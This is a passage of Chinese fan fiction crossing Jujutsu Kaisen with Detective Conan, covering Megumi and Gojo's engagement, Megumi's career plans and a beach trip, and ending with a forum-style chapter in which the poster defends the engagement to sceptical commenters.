于是两个人放完炸雷就回家你侬我侬去了,今天早上上课伏黑惠都是被五条悟瞬移送过来的,生怕半路被禅院真希逮到。 “哇哦!”黑羽快斗和工藤新一热烈鼓掌。 黑羽快斗貌似一本正经地说:“够戏剧化,我喜欢!” 工藤新一则笑得很欣慰,知道不是自己一个人在被迫害真是太好了! 伏黑惠不想再讨论这个让人心累的话题,他和五条悟不一样,没有什么炫耀欲望。 伏黑惠转移话题道:“黑羽学长知道要怎么找兼职吗?” 这段时间他对黑羽快斗的人脉有了深刻认知,黑羽学长好像什么人都认识。 “兼职?”黑羽快斗对话题的突然转变产生不适并发挥了自己的联想能力,“难道买戒指是伏黑君花的钱,现在零用钱不够了吗?” “不,只有送给悟先生的那个是我买的,但我还有钱。”伏黑惠真的一本正经地回答,“我想要积累一些经验。” “那你找工藤啊!”黑羽快斗说,“他那边的人脉都是法律相关的,文学相关的也有。” 工藤新一说:“咒术师相关的工作报酬都很可观。” 伏黑惠说:“不,我希望是和现在的专业相关的工作。” 工藤新一也猜到了,不然伏黑惠想做咒术师兼职不用来找他。他想了想:“兰的母亲是很有名的律师,在经营一家律师事务所。伏黑君成绩这么好也可以找教授推荐。” 学校里没有人知道伏黑惠是咒术师,但他的成绩很好,是老师会偏爱的那种好学生。如果不是伏黑惠喜欢独来独往不太合群,他的学校生活不会这么清净。 这么看来五条悟宣誓主权的行为的确很有先见之明。 工藤新一遗憾地说:“伏黑君真的没有进入警界的打算吗?降谷先生和明智先生都很期待能跟你共事。” “我不想把袚除咒灵作为工作,咒术师太忙碌也太危险了。”伏黑惠说,“律师就很好。” “其实作为律师也可以跟警视厅合作嘛。”黑羽快斗说,“官方的辩护律师也挺增长经验的。” 伏黑惠也不再推拒。他本来就不排斥和警视厅合作,咒术师和普通人合作就是他首倡的。 工藤新一看他不拒绝,提议道:“伏黑君感兴趣的话,明智先生应该有权限让你旁听一些法庭辩护。” 伏黑惠果然露出了感兴趣的神情。 黑羽快斗感慨道:“订婚第二天就在聊工作,伏黑君真是太努力了。” 第94章 显然有这种想法的人不止黑羽快斗一个, 还有伏黑惠现在的未婚夫·五条家主·最强咒术师·订婚对象五条悟。 五条悟看着跟他叙述未来职业规划的伏黑惠,欲言又止止言又欲。他看着伏黑惠闪闪发亮的绿眼睛,还是委婉地说:“惠, 你才十八岁, 不用这么早考虑上班的事,要好好享受校园时光啊!” 伏黑惠不以为意地说:“我在享受校园时光,高桥教授已经答应会帮我留意相关的实习岗位, 警视厅那边也承诺只要我想过去, 他们可以配合我的要求。” 对于知道伏黑惠身份的警视厅和警察厅来说,只要伏黑惠愿意来, 他们可以大开绿灯, 想尽办法把这位咒术师收入囊中。 “惠。”五条悟听得一个头两个大, “除了这些呢?大学成绩虽然很重要, 但是和同学相处也很重要哦, 比如一起出去玩之类的。” 伏黑惠说:“工藤学长和黑羽学长比较熟悉,其他人……”他皱了皱眉, 一概论之,“同学们都挺友好的。” 言下之意就是全都是泛泛之交, 没有和他关系很好的朋友。 五条悟也不意外。伏黑惠本来就不是个热情的人, 他的温柔是隐藏下表面的冷淡之下的。没有人故意找茬, 伏黑惠可以和大部分人保持友好, 但是想要更亲密就需要契机了。 显然,现在这种校园氛围没办法提供契机。大部分人感兴趣的咒术师话题对于伏黑惠来说避之不及, 他也不会对谈论咒术师感兴趣,只会因此警惕地把自己的身份藏得更严,不知不觉就游离于众人之外。 五条悟问:“我记得上学是不是有研学活动,惠感觉怎么样?” 伏黑惠说:“可能是因为现在环境比较危险吧, 学校暂时不会组织这些活动。” 五条悟沉默了一下,接着问:“那社团活动呢?惠有感兴趣的社团吗?” 伏黑惠这次终于有反应了:“工藤学长给我推荐了校辩队,” “惠,工作是不是有点太早了?就算惠毕业之后暂时不工作或者去尝试自己喜欢的工作都没问题,悟先生养你啊!”五条悟不理解伏黑惠为什么这么热衷于工作,“惠缺钱吗?” “我不缺钱,只是……”伏黑惠想了想,说,“我想要早一点独立。” “为什么?!”五条悟大惊失色地看着伏黑惠,脸上写满了不可置信,如同被踹了一脚的可爱猫猫。 “因为我们订婚了。”伏黑惠低着头,目光看着手机屏幕,看似不在意地说,耳尖却染上了红色,“订婚之后就是平等的关系了吧,我不能再依赖悟先生了。” “订婚之后惠还是可以依赖我啊!”五条悟急切地说,“我们订婚了就是未婚夫妻……夫夫,惠依赖我是理所应当的!” “不是这样的。”伏黑惠抿了抿嘴角,认真地说,“如果我一直依赖您的话,其他人就会一直觉得是悟先生束缚了我。” 五条悟无所谓地说:“外人的眼光管他做什么?惠一直都不在意别人的看法吧。” “但我不想让您被误解。”伏黑惠说,“明明是我自己做出的决定,但大家都要怀疑是我被悟先生诱导了,因为我不够厉害,我不想这样。” 五条悟感动得一塌糊涂,但是:“但我不希望惠为了这种事放弃体会青春,青春是非常宝贵的、一去就不能回来的时光。” 伏黑惠不赞同地说:“我的青春已经很美满了。” “才不是!”五条悟不高兴地说,“惠的高中时光已经被咒术界的事占满了,现在上了大学……” “每个人的青春都是不一样的体会,我觉得现在这样很好。”伏黑惠说。他本来也不是喜欢出去玩的人,就算没有中间成为咒术师的插曲,他按部就班地上了大学,也会按照自己的目标走在就业的路上。 五条悟不甘心。 他比任何人都更了解伏黑惠,也比任何人都看得清楚。 青春的确是一去不复返的时光,因此在伏黑惠被带回禅院家的时候,他的青春就已经结束了。 挡在前面的参天大树突然消失,需要自己扛起一切。成长就是这么一瞬间的事。 五条悟回来之后就意识到了这一点,所以他痛恨禅院家,所以他拼命地想要弥补伏黑惠缺失的青春。 但没有了就是没有了,已经长大的人回头望去,无法再回到曾经的时光,只能继续往前走。 五条悟感觉到自己的脸颊被软软地碰了一下,他抬起眼睛,愣愣地和伏黑惠对视。 伏黑惠有点害羞地垂下眼睫毛,语气还是一如既往的冷静:“我不后悔,成为咒术师是为了保护津美纪,也是为了保护我自己。我永远不后悔当时的选择。” 他做了三年的禅院家主,已经能够理解五条悟为了他的自由都付出了什么。 伏黑惠说:“我很感激悟先生为我做的一切,已经足够多了。” “……不够!”五条悟把伏黑惠搂进怀里,他把脸埋进伏黑惠的颈窝,“我在「狱门疆」里的时候好担心惠,很害怕惠会被禅院家带走。出来之后看到惠成为禅院家主很自豪但是也超级心疼!我答应惠不用担心的,是我食言了!” 伏黑惠的手搭在五条悟后背上轻轻抚摸着,温柔地安抚道:“不是您的错。” “是我大意了。”五条悟说,“惠被带回禅院家的时候是不是很害怕?” “没有。”伏黑惠说,“没有害怕。” “真的吗?”五条悟蹭了蹭伏黑惠的脖颈,怀疑地问,“惠是不是在骗我?怎么可能不害怕?” “真的不害怕。”伏黑惠回想着那段时光,“那个时候好像一直都在想悟先生什么能出来,没有害怕的时间。” 五条悟抱着伏黑惠沉默了许久,问:“……要是我出不来呢?” “不可能的。”伏黑惠想都没想地回答。 “如果呢?”五条悟不依不饶地问,“如果我回不来,或者很晚才回来呢?” 伏黑惠从五条悟的态度里感觉到了难得的认真,对方是真的想知道答案。所以他也很认真地思考了一会儿,回答:“如果是这样,我会一直做禅院家主吧。” “……为什么?”五条悟从伏黑惠脖颈间抬起头,注视着自己的孩子、恋人、未婚夫,“惠的能力,成为特级咒术师只是时间问题,到时候禅院家硬是想要把你留下来也不行了。” 看九十九由基就知道,这些特级咒术师其实是不在高层控制之内的,因为他们太强了,所以可以为所欲为,这就是咒术界的逻辑——弱肉强食。 五条悟是因为想要改革才留在东京校,成为东京校一系的咒术师。御三家的咒术师其实都是脱离学校体系,跟家族绑定自成一派的。 伏黑惠成为特级咒术师之后,就算他不做禅院家主也没有人会去故意得罪他。作为「十种影法术」,他完全可以得到他想要的自由,只要偶尔回两趟禅院家就能名利双收。 “但只是成为特级咒术师不够,我需要更大的权利才能够保护我想要保护的人。”伏黑惠理所当然地说。九十九由基再强也只能保护自己,他要保护更多人。 五条悟神色复杂地问:“就像是惠当初和五条家合作一样吗?” 伏黑惠说:“那是当时最好的选择,五条家虽然作壁上观,但不会伤害您。”他看着五条悟的神色,了然地说,“您大概不会同意。” 五条悟下意识回答:“没有,惠做什么我都同意。” 伏黑惠笑了。他勾起唇角的弧度很漂亮,像是阳光的金色落在绿叶上一样温暖:“因为悟先生是不需要跟人合作的。” 五条悟缓缓地眨巴着眼睛。 伏黑惠说:“如果是现在的我,我也不会去做,因为有悟先生一个人就够了。对当时的我来说,跟禅院家合作和跟五条家合作也没有区别。” 所以他已经成为了禅院家主,那么再去跟五条家合作也无所谓。 这对他来说不是一个困难的选择,所以也不会认为五条家对他的态度不好。他根本不在乎。 伏黑惠的态度很明确,五条悟不需要觉得愧疚。成为禅院家主是他的选择,和五条家合作是他的选择,从两人相遇到现在,他走的每一步都是他自己的选择。 没有人能说清青春到底该有多长,流逝的时光只有自己才知道值不值得。 五条悟的蓝眼睛随着伏黑惠的话亮起来,心神摇曳。 他深深吸了口气,唇边又挂上了自信的笑容:“没错!惠有我就够了,完全不需要理会其他人!” 五条悟的蓝眼睛布灵布灵地看着伏黑惠:“惠和我在一起之后就一只脚踩进五条家了哦!惠不想跟咒术界扯上关系,但还是跟我在一起了呢~” 伏黑惠坦诚地打出直球:“因为我真的喜欢您,不会因为您是咒术师而改变。” 五条悟笑容荡漾,很明显是听到了自己想听的内容。他理直气壮地问:“惠想去哪里旅行?” 伏黑惠为突然转变的话题愣了一下:“旅行?” 五条悟开心地说:“我们的蜜月啊!” 伏黑惠沉默了片刻,提醒道:“悟先生,我们还没有结婚。” 五条悟说:“但我们订婚了!订婚也可以有蜜月!” 伏黑惠头疼地问:“您有空吗?”五条悟一直都是更忙的那个。 “嗯……”五条悟想了想,大手一挥,“总会有空的!” 伏黑惠:…… 他委婉地劝道:“要不然还是等结婚的时候再……” “不要!”五条悟说,“惠现在就在考虑就业问题了,等你毕业说不定就直接上班了,到时候更没时间出去度蜜月了!” 但是刚订婚就去度蜜月真的很奇怪啊!而且,伏黑惠说:“接下来不是马上就要姐妹校争夺赛了吗?平时您很忙让学生自习也就算了,这种时候还是应该” “嗯……”五条悟摸了摸下巴,“惠希望哪边赢?” “啊?”伏黑惠莫名其妙地看着他。 五条悟哼哼唧唧地说:“惠差一点就去京都校上学了吧。惠希望东京校赢还是京都校赢?” 伏黑惠哭笑不得:“只是差一点,我不是最后也没去吗……好吧好吧,我希望东京校赢。”他看着五条悟微微鼓起的脸颊,从善如流地改口道。 “会赢的。”五条悟露出‘这就对了’的笑容,“到时候我们一起出去旅行吧!”【..top】 【全文完】 第95章 “我说你怎么这么好心, 还弄什么毕业前的最后一次旅行,原来是为了骗惠出来一起玩啊!”禅院真希双手叉腰,嫌弃地看着五条悟, 背后是蓝天大海。 “这怎么叫骗呢?”五条悟理直气壮地说, “这本来就是你们毕业前的最后一次旅行啊!” 禅院真希白了他一眼。Panda和乙骨忧太正在海边拍照。虎杖悠仁和钉崎野蔷薇也在。 钉崎野蔷薇振振有词地说:“打着庆祝京都校在姐妹赛里胜利的旗号,当然要带上我和虎杖两个大功臣吧!” 乙骨忧太好奇地问:“所以到底是毕业旅行还是庆祝姐妹赛获胜?” 五条悟不在意地说:“完全可以两个合起来庆祝嘛!” “我看你是不知道哪个能把惠骗过来,所以双管齐下吧。”禅院真希吐槽道。她看向伏黑惠, 语重心长地叮嘱道:“惠, 你要是受欺负了一定要告诉我们。” 伏黑惠说:“没有,悟先生对我很好。” 钉崎野蔷薇一脸不相信地看着他:“伏黑, 你要不要看看你现在在干什么再说话?” 伏黑惠困惑地看着她。众人的目光也被吸引过来, 看向伏黑惠和他面前的五条悟。 五条悟手里拿着自己身上衣服的同款, 正致力于让伏黑惠换上比较符合海边风格的衣服。 伏黑惠看着五条悟的花衬衫和花短裤, 觉得眼睛疼, 坚定地拒绝了五条悟的推荐,选择了普通的白衬衫。 五条悟正不依不饶地让伏黑惠从花衬衫和花短裤里挑一个。 伏黑惠的表情看着像是要揍他了。 看着这一幕, 再联想到伏黑惠刚刚说的话…… 禅院真希推了推眼镜:“所以这种程度在惠眼里完全不算欺负吗?” Panda唏嘘地说:“可能惠已经习惯了。” 乙骨忧太公正地说:“五条老师想和惠穿情侣装也无可厚非吧。” 钉崎野蔷薇严肃地问:“那为什么不是五条老师跟着伏黑穿白衬衫?” 虎杖悠仁夸奖道:“伏黑这种打扮很像是校园偶像剧里的校草,超帅的!” 众人的话语中出现了一个不和谐音符, 五条悟一脸‘你很有眼光’的表情看向虎杖悠仁。 伏黑惠坐在沙滩上吹着海风, 淡然地说:“我已经超龄了吧。” “校草是种感觉。”钉崎野蔷薇上上下下地打量着伏黑惠, 满脸嫉妒, “可恶,真的很帅!明明是很普通的白衬衫……” Panda说:“只是看着普通而已, 悟是不会买普通衬衫的。” “是吗?”钉崎野蔷薇好奇地对着伏黑惠拍了张照片,开始搜同款,然后对着价格数零,拿着手机的手微微颤抖, “为什么会有人穿几十万一件的衬衫啊?!” 虎杖悠仁的脑袋凑过来跟她一起看屏幕,同样发出了惊叹:“哇哦!” 钉崎野蔷薇和虎杖悠仁看伏黑惠的眼神已经不是看帅哥而是在看金钱的光辉。 伏黑惠:?? Panda说:“跟惠没关系吧,应该是悟买的。” 伏黑惠似乎懂了:“悟先生比较喜欢他家的衬衫。”他跟大家解释道,“悟先生的体型不太好买衣服,所以穿的牌子比较固定。” 五条悟的身高在日本简直鹤立鸡群,有时候身材太好买衣服也挺困扰的。 但这不是钉崎野蔷薇和虎杖悠仁震惊的理由。 钉崎野蔷薇默默地盯着伏黑惠:“五条老师的体型不太好买衣服,那你呢?” 伏黑惠回答:“我的衣服很多都是悟先生买的时候顺便给我带的。” 钉崎野蔷薇羡慕地说:“真好啊,我也想有人顺便给我买几十万的衣服。” 五条悟开玩笑地说:“老师已经是惠的男朋友了,野蔷薇不要奢望了。” 钉崎野蔷薇嫌弃地说:“谁要你做男朋友啊?!伏黑瞎了我可没有!” 五条悟秒答:“野蔷薇想也没用,我只喜欢惠。” “你这个人……”钉崎野蔷薇撸胳膊挽袖子。 众人看似安慰地拱火道:“算了算了,野蔷薇,反正你也打不过他。” 钉崎野蔷薇叫嚣道:“只是咒术上打不过他而已,有本事比别的啊!” 五条悟推了推墨镜,浑身上下都透出欠揍的气息,骄傲地说:“老师是全能的!” 钉崎野蔷薇二话没说,拉过伏黑惠:“伏黑,你说,五条老师的弱点是什么?” 伏黑惠想了一会儿,迟疑地说:“不喜欢苦咖啡?” 钉崎野蔷薇嫌弃地把他松开了:“这算什么弱点啊?!” 伏黑惠很无辜,他的确不知道悟先生有什么弱点啊! 学长们也善解人意地戳着钉崎野蔷薇:“野蔷薇,别为难惠了,就算悟有弱点也不可能在惠面前展示出来的。” 老师和学生们经历了激烈的辩论决定,在沙滩上开启了沙滩排球的比赛,但五条悟被打成了裁判。 伏黑惠看着这个逆转如风的局面,不明白五条悟是怎么从征讨对象变成了裁判的。 但大家都只是出来旅游玩乐的,只要高兴就行了。 五条悟手里拿着排球,宣布道:“三年级的虎杖悠仁和钉崎野蔷薇对战四年级的禅院真希和Panda!” 他把排球往天上一抛,四年级的学长们率先进攻,三年级的后辈们不甘示弱。双方你来我往,一个排球打得啪啪响,嗖嗖的破空声环绕耳际。 伏黑惠和乙骨忧太坐在旁边,充当观众和气氛组。 乙骨忧太眉眼弯弯地注视着他的老师和同学们,对伏黑惠说:“我好像还没有恭喜你们。” 伏黑惠说:“我记得您给悟先生点过赞。” 乙骨忧太说:“但是当面恭喜是第一次。” 伏黑惠说:“因为您太忙了,最近海外的形势好一些了吗?” 乙骨忧太眉头微皱:“目前好一些了。但天元的结界破了,以后海外的咒灵数量和强度都可能会增加。” “大家都有心理准备了。”伏黑惠注视着在赛场上上蹿下跳,比对战双方都有精神的五条悟,“悟先生也考虑过这个问题,不过海外的事还是得让他们自己处理。” 乙骨忧太赞同地说:“也对,对老师来说还是稳定国内比较重要。” 乙骨忧太关心地问:“惠最近怎么样?” “最近?”伏黑惠有些困惑地看向乙骨忧太,“最近还好。” 乙骨忧太问:“学业上有什么困扰吗?虽然我没有上过大学,但还是可以听听看的。” 伏黑惠说:“没有,学业挺顺利的,跟教授的交流也比较流畅。” 乙骨忧太好奇地问:“惠将来是想要做律师吗?” 伏黑惠点了点头:“目前暂定的目标是这个。” “很好啊,有目标是好事。”乙骨忧太看向禅院真希和Panda,感慨地说,“不过也不用全身心都铺到学业和工作上,有时候我也会遗憾一直在外面,跟大家的相处时间太少了。” 伏黑惠了然地说:“是悟先生让您来劝我的吗?” 乙骨忧太说:“五条老师大概是担心惠把自己逼得太紧了。”他低头看向伏黑惠手上的戒指,“刚刚成为情侣的两个人好好享受恋爱会比较好哦。” 今天没有人提起两人的戒指,一来是不想给五条悟秀恩爱的机会,二来也是已经看惯了两人手上成双成对的戒指。 五条悟从戴上戒指的那天就开始招摇过市,好像一夜之间变成了左撇子。 伏黑惠抚摸了一下自己的戒指,看着时不时朝着自己瞄过来的五条悟,很听劝地说:“我明白了,谢谢乙骨前辈的提醒,我会更关注悟先生的。” “不是说你对老师关注太少的意思。”乙骨忧太慌慌忙忙地解释道,“我没有责怪惠!我也完全没有责怪惠的立场……” 伏黑惠朝着乙骨忧太笑了一下:“我知道的。” 乙骨忧太松了口气:“老师大概是不想让自己的想法影响你。” “嗯。”伏黑惠看着五条悟,无奈地笑着说,“我知道的。” 沙滩排球的比赛结束后,乙骨忧太迫不及待地朝着同学们跑过去,顺便给五条悟疯狂使眼色。 伏黑惠也从影子里拎出一瓶水去找五条悟,若无其事地说:“乙骨前辈刚刚给我说了一点恋爱的建议。” 五条悟假装什么都不知道地说:“忧太的恋爱建议还挺有参考性的。那惠怎么想?” 伏黑惠看着五条悟颤动的睫毛,露出像是看到打碎花瓶还装无辜的猫咪的纵容表情:“您下次可以直接跟我说,不需要让乙骨前辈转告。” 五条悟无辜地眨眼睛,把伏黑惠圈进自己怀里,咪咪喵喵地说:“因为不管我说什么惠都会迁就我。” 伏黑惠说:“不会的,我不是那种没有原则的人。” 安静围观的前辈们:你说什么??你就是!!! 五条悟把伏黑惠又往怀里扒拉了一下,用自己挡住那些八卦的目光:“我能问问惠为什么会提这个要求吗?” 伏黑惠注视着他,认真地说:“因为我们才是要一起生活一辈子的人。” “惠!!!”五条悟的眼睛立刻变得布灵布灵的,把人抱在怀里不撒手。 如果不是之前伏黑惠严令他不准在其他人面前亲亲,现在伏黑惠已经被大猫舔脸了。 伏黑惠拍了拍五条悟的后背,安抚着激动的男朋友,自己后知后觉地有点害羞,耳尖红了。 他们拥抱在一起,背后是圆日入海,霞光万千,旁边是……围观的学生们木然地看着抱成一团的两个人,有时候做单身狗也挺无助的。他们究竟为什么要跟这两个人一起出来玩?五条悟请客的快乐比得上被秀一脸恩爱的憋闷吗? 几人对视一眼,认为这件事五条悟全责:没有人蜜月旅游会打着毕业旅行的旗号邀请学生的!没有!!! 作者有话说:正文完结,明天开始更新番外。之前的论坛体,你们还想看后续吗? 第96章 【情感】【匿名】【主题】请问监护人对我表白了该怎么办? >>>>>>>第三页 …… 251# LZ又消失很久了…… 252# 上次LZ消失了很久回来就说要接受那男的的表白了, 这次再回来不会就要结婚了吧 253# 为什么不是分手了 254# 分手好啊 255# 看LZ的样子不像是会分手的 256# 之前也没人会想到LZ会答应啊 257# LZ……唉……LZ…… 258# LZ真的好像被PUA的小可怜 259# 确定不是绿贴吗?别到时候咱们真情实感,LZ在屏幕后偷笑 260# 应该不是,绿贴没有这么不符合逻辑 261# 合理 262# LZ怎么还不出现啊…… 263# LZ一直不出现还能聊这么久, 你们也挺闲的 264# 主要是LZ这个事太炸裂了, 全网无代餐啊 265# 确实 266# 确实 267# 确实 268# LZ快回来啊!!! 269# 都嚎了这么久LZ都没出现,估计不会出现了吧 270#LZ 没想到还有这么多人在意这个帖子。 271# LZ?! 272# LZ回来了?!! 273# LZ真的回来了!LZ你是不是回心转意了!!! 274# LZ你分手了吗? 275#LZ 谢谢大家的关心,我和先生很好, 我们不会分手的。 276# 怎么这样…… 277# 居然还没分手…… 278# 残念 279# 唉 280# LZ, 你真的不想分手吗? 281#LZ 事实上,我和先生已经订婚了。 282#???!!!! 283# 什么玩意儿?!! 284# 订婚?!! 285# LZ每次回来都会爆个大料 286# 我不理解!LZ你图什么啊?!!! 287# LZ、你、我…… 288# 没辙了, 真的没辙了 289# 好无语啊!第一次这么无语 290# 本帖快300L都白劝了 291# LZ, 你要不然去趟警署吧, 你这样我真怕你哪天被人卖了 292# LZ已经被卖了, 被他自己…… 293#LZ 不用担心, 虽然我被父亲卖给了本家,但是先生已经把我买回来了。 294# 嗯?! 295# 什么?! 296# 这里面怎么还有买卖人口啊?!!! 297# LZ, 你说实话,不, 你暗示一下, 你是不是不能自己报警?我可以替你报警, 真的 298# 不是, 你父亲?!! 299# 怪不得先生说杀了父亲,LZ都不在意, 原来是这样 300# 可怜的LZ遇人不淑的一生…… 301#LZ 我不可怜。 302# 唉,LZ,唉……我都不忍心了 303# 怪不得 304# 所以LZ当年为什么不报警? 305# LZ当年才六岁! 306# 那先生为什么不报警?! 307# 先生知道有人把LZ买走了的反应是买回来,你猜他为什么不报警 308# 一丘之貉! 309#LZ 请不要污蔑先生。 ==============307L、308L已被发帖人拉黑, 无法在本帖内进行回复============== 310# …… 311# LZ你是不是有点…… 312# 太应激了 313#LZ 抱歉,但我不想看到有人说先生坏话。 314# …… 315# LZ还是那个恋爱脑的LZ 316# 毕竟已经订婚了 317# 现在再让LZ分手是不是晚了 318# 现在说不定得让LZ离婚了 319# 那个,我有点乱,咱们国家什么时候允许同性结婚了? 320# ……对哦 321# 好像……没有? 322# 没有! 323# LZ说的太平淡,我们都先入为主了,实际上他们根本没办法结婚啊! 324# 第一次因为两个人无法结婚松了口气 325# LZ!LZ你看到了吗?你先生骗你的!你们根本没办法结婚! 326#LZ 我知道。 327# LZ你怎么又知道? 328# 其实,这是常识,LZ知道也很合理 329# LZ,一个有常识,什么都知道,但是屡屡被骗的奇人 330# 骗子的骗术太高超了 331#LZ 先生不是骗子。 ==============330L已被发帖人拉黑,无法在本帖内进行回复============== 332# …… 333# 出现了,LZ的拉黑大法 334# LZ,你真的好固执啊 335# LZ对于维护先生的欲望好强烈 336# 毕竟是未婚夫 337# 别提…… 338# LZ,我能问问你到底喜欢先生什么吗? 339# 就是啊,LZ你现在给我们的感觉像是被洗脑了一样 340#LZ 先生人很好。 341# 太笼统了吧 342# LZ表现得很爱,但是说出来的话像是给追求者发好人卡 343# LZ,直白点,先生帅不帅?高不高?富肯定是富的 344# LZ直接爆个照吧 345# 富也不能买卖人口啊…… 346# 不是,你们看LZ的说法,他爸把他卖给了本家,这里面要是没有金钱交易顶多算是托孤,这么看是不是就没有那么刑了? 347# 那先生把LZ买回来呢? 348# 那就是监护权转移呗,先生和LZ都出身大族,估计两边早就有交情 349# 有交情LZ父亲还被先生杀了? 350# 先生自卫反击 351#LZ 是的,是我父亲先要杀先生,先生才杀死了父亲的。两边家族的关系的确不好,两家之前有过仇怨。 先生很帅也很高。不会爆照,我不想因为自己的困扰打扰先生的生活。 352# 高富帅啊……那确实很容易迷惑人心 353# 两边家族关系不好,先生还能把LZ买回来?你们家的人就不怕先生因为LZ父亲想要杀他迁怒你吗? 354#LZ 先生并不会做这种事,我想大家都知道。 355# 这么看来先生的人品似乎是挺有保障的 356# 但LZ家族的人品大概不怎么样 357#LZ 的确。 358# LZ对于家族没有一点儿维护呢 359# 好冷漠 360# 所有的爱都在先生身上 361#LZ 并不是,还有姐姐。 362# 只有先生和姐姐吗…… 363# LZ没有其他朋友吗? 364# LZ,先生有限制你的交友吗? 365#LZ 没有,先生希望我多和同学接触,多交朋友,但我不喜欢热闹。 366# 这么看来先生好像还可以 367# 最起码没有限制LZ的自由 368# 你们是不是底线太低了 369# 没办法,底线高的都被LZ拉黑了 370# 我忏悔,我只想吃瓜 371# 我吃瓜这么多年第一次吃到这么刺激的 372# 养父子、杀父之仇、世交、世仇……现在电视剧都不用这么复杂的因素了 373# 但LZ在这么复杂的关系里居然是纯爱 374# 真了不起【鼓掌】 375# LZ真的很了不起 376# 先生也挺了不起的 377# 真的不能报警吗 378# LZ自愿的话,报警也没用吧,毕竟已经成年了 379# 说白了,我们也只是网友而已,只能从LZ的话语里进行推测。如果LZ自己觉得现在的生活很幸福,我们也无权干涉。 但我还是要说,如果有一天那个先生开始限制LZ的自由,无论是哪一方面的自由,LZ,你要记得报警啊!!! 380#LZ 好的,我会记得。感谢大家之前的帮助,我和先生很好,请不要再回帖了。 ==============发帖人已锁贴==============【..top】